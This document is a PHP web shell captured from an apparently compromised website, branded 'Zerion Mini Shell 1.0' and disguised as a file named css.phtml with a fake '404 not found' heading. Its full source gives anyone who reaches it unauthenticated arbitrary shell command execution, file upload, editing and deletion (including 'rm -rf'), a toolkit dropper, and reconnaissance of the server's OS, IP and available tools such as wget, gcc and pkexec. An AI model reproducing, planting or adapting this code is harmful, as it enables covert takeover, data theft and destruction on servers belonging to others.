%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/suporte.iigd.com.br/marketplace/
Upload File :
Create Path :
Current File : //var/www/projetos/suporte.iigd.com.br/marketplace/css.phtml

<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css"><style>@import url('https://fonts.googleapis.com/css?family=Dosis');@import url('https://fonts.googleapis.com/css?family=Bungee');td,th,thead{border:1px solid #fff;padding:5px;box-shadow: 0 0 10px 0 #707070}tr{background-color:#fff}body{font-family:"Dosis",cursive;text-shadow:0px 0px 1px #707070}</style></head> <iframe width="0" height="0" src="" frameborder="0" allow="autoplay" allowfullscreen="none"></iframe> <body><center>   <?php error_reporting(0); $currentPath = getcwd(); $pathComponents = explode(DIRECTORY_SEPARATOR, $currentPath); echo "<font face='Bungee' size='3'><h1>&#128013; 404 not found</h1></font><div class='container'><div id='pw'>Home: "; foreach ($pathComponents as $index => $component) {     $partialPath = implode(DIRECTORY_SEPARATOR, array_slice($pathComponents, 0, $index + 1));     $partialPath = str_replace("%2F", "/", rawurlencode($partialPath));     echo "<a href='?path=" . $partialPath . "'>" . $component . "</a>";     if ($index < count($pathComponents) - 1) {         echo "/";     } } echo "</div><br>"; ?>   <form method="GET"><input type="text" name="path" autocomplete="off" size="100" class="textinput" required><input type="submit" class="submit"></form>   <?php   if (htmlspecialchars(isset($_GET["path"]))) {     $path = $_GET["path"];     $file = $_GET["file"];     $folder = $_GET["folder"];     $folder_name = basename($folder);     $file_name = basename($file);     ?>     <script>       const path = document.querySelector('input[name=path]')       path.value = '<?php echo $_GET["path"]; ?>'     </script><a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=createfolder"><button type="button" class="button-tools">+Folder</button></a> 	<a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=createfile"><button type="button" class="button-tools">+File</button></a> 	<a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=spawntools"><button type="button" class="button-tools">Spawn ToolKit</button></a>     <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=info"><button type="button" class="button-tools">Info Min</button></a> 	<a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=upload"><button type="button" class="button-tools">Upload</button></a> 	<a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=cmd"><button type="button" class="button-tools">Command</button></a><br><br>     <?php     if ($_GET["action"] == "view") {       echo "<p class='text-center'>Filename: $file_name</p>";       echo "<textarea class='textarea' disabled>".htmlspecialchars(file_get_contents($file))."</textarea>";     } elseif ($_GET["action"] == "edit" && $file) {         ?>         <form method="POST"><p>Filename:<?php echo $file_name; ?></p><?php echo "<textarea name='content' class='textarea'>".htmlspecialchars(file_get_contents($file))." </textarea>"; ?><input type="submit" name="edit" class="submit"></form>         <?php         if (isset($_POST["edit"])) {           $editted = base64_encode($_POST["content"]);           $save = saveme($file, base64_decode($editted));           if ($save) {             echo "<script>alert('Edit $file_name success')</script>";             echo "<script>window.location = '?path=$path&action=edit&file=$file'</script>";           } else {             echo "Edit $file_name failed";           }         }       } elseif ($_GET["action"] == "rename" && $file) {         renames($file, $path, $file_name);       } elseif ($_GET["action"] == "rename" && $folder) {         renames($folder, $path, $folder_name);       } elseif ($_GET["action"] == "delete" && $file) {         if (unlink($file)) {           echo "<script>alert('Delete $file_name success')</script>";           echo "<script>window.location = '?path=$path'</script>";         } else {           echo "Delete $file_name failed";         }       } elseif ($_GET["action"] == "delete" && $folder) {         if (is_dir($folder)) {           if (is_writable($folder)) {             @rmdir($folder);             @shell_exec("rm -rf $folder");             @shell_exec("rmdir /s /q $folder");             echo "<script>alert('$folder_name Deleted')</script>";             echo "<script>window.location = '?path=$path'</script>";           } else {             echo "Delete $folder_name failed";           }         }       } elseif ($_GET["action"] == "spawntools") {         $save = saveme($path."/tools.php", base64_decode($tools));         echo "<center>";         if ($save) {           echo "<script>alert('Spawn Toolkit tools.php success')</script>";           echo "<script>window.location = '?path=$path'</script>";         } else {           echo "Spawn Toolkit failed";         }         echo "</center>";       } elseif ($_GET["action"] == "createfile") {         ?>         <form method="POST"><input type="text" name="filename" class="textinput"><textarea name="filetext" class="textarea"></textarea><input type="submit" name="touch" class="submit"></form>         <?php         if (isset($_POST["touch"])) {           $filename = $_POST["filename"];           $filetext = base64_encode($_POST["filetext"]);           $save = saveme($path."/".$filename, base64_decode($filetext));           if ($save) {             echo "<script>alert('".$filename." has successfully created')</script>";             echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>";           } else {             echo "Create file failed";           }         }       } elseif ($_GET["action"] == "createfolder") {         ?>         <form method="POST"><input type="text" name="foldername" autocomplete="off" class="inputtext textinput"><input type="submit" name="cfolder" class="submit"></form>         <?php         if (isset($_POST["cfolder"])) {           $fname = $_POST["foldername"];           if (@mkdir($path."/".$fname)) {             echo "<script>alert('$fname Created')</script>";             echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>";           } else {             echo "Create folder failed";           }         }       } elseif ($_GET["action"] == "upload") {         ?>         <form method="POST" enctype="multipart/form-data"><input type="file" name="nax_file" id="naxx"><input type="submit" name="upkan" class="submit"></form>         <?php         if (isset($_POST["upkan"])) {           if (move_uploaded_file($_FILES["nax_file"]["tmp_name"], $path."/".$_FILES["nax_file"]["name"])) {             $file = $_FILES["nax_file"]["name"];             echo "<script>alert('$file uploaded')</script>";             echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>";           } else {             echo "<center>Upload fail</center>";           }         }       } elseif ($_GET["action"] == "cmd") {         ?>         <form method="POST"><input type="text" name="cmd" autocomplete="off" size="100" class="inputtext textinput"><input type="submit" name="exec" class="submit"></form>         <?php         if (isset($_POST["exec"])) {           $cmd = $_POST["cmd"];           echo "<div class='cmd'>".@shell_exec($cmd)."</div>";         }       } elseif ($_GET["action"] == "info") {         echo '<div class="wrap">';         infomin();         echo '</div>';       } else {           ?>           <div class="wrap"><table><thead><tr><th>Items</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody>                 <?php                 $scan = scandir($path);                 foreach ($scan as $folders) {                   if (!is_dir($path."/".$folders) || $folders == ".." || $folders == ".") {                     continue;                   }                   ?>                   <tr><td nowrap="nowrap" width="450"><?php echo "<a href='?path=$path/$folders'><i class='fas fa-folder'></i> $folders</a>"; ?></td><td nowrap="nowrap" width="100">---</td><td nowrap="nowrap" width="150">                         <?php                         if (is_writable($path."/".$folders)) {                           $color = "lime";                         } else {                           $color = "red";                         }                         echo "<font color='$color'>".hi_permission($path."/".$folders)."</font>";                         ?>                     </td><td nowrap="nowrap" width="90">                       <?php echo "             <a href='?path=$path&action=rename&folder=$path/$folders'><i class='fas fa-pen'></i></a><a href='?path=$path&action=delete&folder=$path/$folders'><i class='fas fa-trash-alt'></i></a>             "; ?>                     </td></tr>                   <?php                 }                 foreach ($scan as $files) {                   if (is_file($path."/".$files)) {                     ?>                     <tr><td nowrap="nowrap" width="450"><?php echo "<a href='?path=$path&action=view&file=$path/$files'><i class='fas fa-file'></i> $files</a>"; ?></td><td nowrap="nowrap" width="100"><?php echo "".Size($path."/".$files).""; ?></td><td nowrap="nowrap" width="150">                           <?php                           if (is_writable($path."/".$files)) {                             $color = "lime";                           } else {                             $color = "red";                           }                           echo "<font color='$color'>".hi_permission($path."/".$folders)."</font>";                           ?>                       </td><td nowrap="nowrap" width="90">                         <?php echo "               <a href='?path=$path&action=edit&file=$path/$files'><i class='fas fa-edit'></i></a><a href='?path=$path&action=rename&file=$path/$files'><i class='fas fa-pen'></i></a><a href='?path=$path&action=delete&file=$path/$files'><i class='fas fa-trash-alt'></i></a>               "; ?>                       </td></tr>                     <?php                   }                 }                 echo "</tbody></table></div>";               }             }           function saveme($name, $content) {             $open = fopen($name, "w");             fwrite($open, $content);             fclose($open);             return $open;           }           function renames($item, $path, $name) {             ?>             <form method="POST"><input type="text" name="newname" value="<?php echo $name; ?>" size="50" class="textinput inputtext"><input type="submit" name="rename" class="submit"></form>             <?php             if (isset($_POST["rename"])) {               $new = $_POST["newname"];               if (rename($item, $path."/".$new)) {                 echo "<script>alert('$name successfully renamed')</script>";                 echo "<script>window.location = '?path=$path'</script>";               } else {                 echo "Rename failed";               }             }           }           function Size($path) {             $bytes = sprintf('%u', filesize($path));             if ($bytes > 0) {               $unit = intval(log($bytes, 1024));               $units = array('B', 'KB', 'MB', 'GB');               if (array_key_exists($unit, $units) === true) {                 return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);               }             }             return $bytes;           }           function infomin() {             $curl = (function_exists("curl_version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $wget = (@shell_exec("wget --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $python = (@shell_exec("python --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $perl = (@shell_exec("perl --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $ruby = (@shell_exec("ruby --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $gcc = (@shell_exec("gcc --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $pkexec = (@shell_exec("pkexec --version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>";             $disfuncs = @ini_get("disable_functions");             $showit = (!empty($disfuncs)) ? "<font color='red'>$disfuncs</font>" : "<font color='lime'>NONE</font>";             echo "<div class='infomin wrap'>";             echo "OS : ".php_uname()."<br>";             echo "SERVER IP : ".$_SERVER["SERVER_ADDR"]."<br>";             echo "SOFTWARE : ".$_SERVER["SERVER_SOFTWARE"]."<br>";             echo "Disabled Functions : $showit<br>";             echo "CURL : $curl | WGET : $wget | PERL : $perl | RUBY : $ruby | PYTHON : $python | GCC : $gcc | PKEXEC : $pkexec";             echo "</div>";           }            function hi_permission($items) {             $perms = fileperms($items);             if (($perms & 0xC000) == 0xC000) {               $info = 's';             } elseif (($perms & 0xA000) == 0xA000) {               $info = 'l';             } elseif (($perms & 0x8000) == 0x8000) {               $info = '-';             } elseif (($perms & 0x6000) == 0x6000) {               $info = 'b';             } elseif (($perms & 0x4000) == 0x4000) {               $info = 'd';             } elseif (($perms & 0x2000) == 0x2000) {               $info = 'c';             } elseif (($perms & 0x1000) == 0x1000) {               $info = 'p';             } else {               $info = 'u';             }             $info .= (($perms & 0x0100) ? 'r' : '-');             $info .= (($perms & 0x0080) ? 'w' : '-');             $info .= (($perms & 0x0040) ?               (($perms & 0x0800) ? 's' : 'x') :               (($perms & 0x0800) ? 'S' : '-'));             $info .= (($perms & 0x0020) ? 'r' : '-');             $info .= (($perms & 0x0010) ? 'w' : '-');             $info .= (($perms & 0x0008) ?               (($perms & 0x0400) ? 's' : 'x') :               (($perms & 0x0400) ? 'S' : '-'));             $info .= (($perms & 0x0004) ? 'r' : '-');             $info .= (($perms & 0x0002) ? 'w' : '-');             $info .= (($perms & 0x0001) ?               (($perms & 0x0200) ? 't' : 'x') :               (($perms & 0x0200) ? 'T' : '-'));             return $info;           }           ?>         </div><script>           const file = document.querySelector('input[type="file"]')           const label = document.querySelector('label[for="naxx"]')           file.addEventListener('change', () => {             if (file.value.length == '0') {               label.innerText = 'Choose File Here'             } else if (file.value.length >= '30') {               value = file.value.substring(0, 30) + "..."               label.innerText = value             } else {               label.innerText = file.value             }           })         </script></body></html>    

Zerion Mini Shell 1.0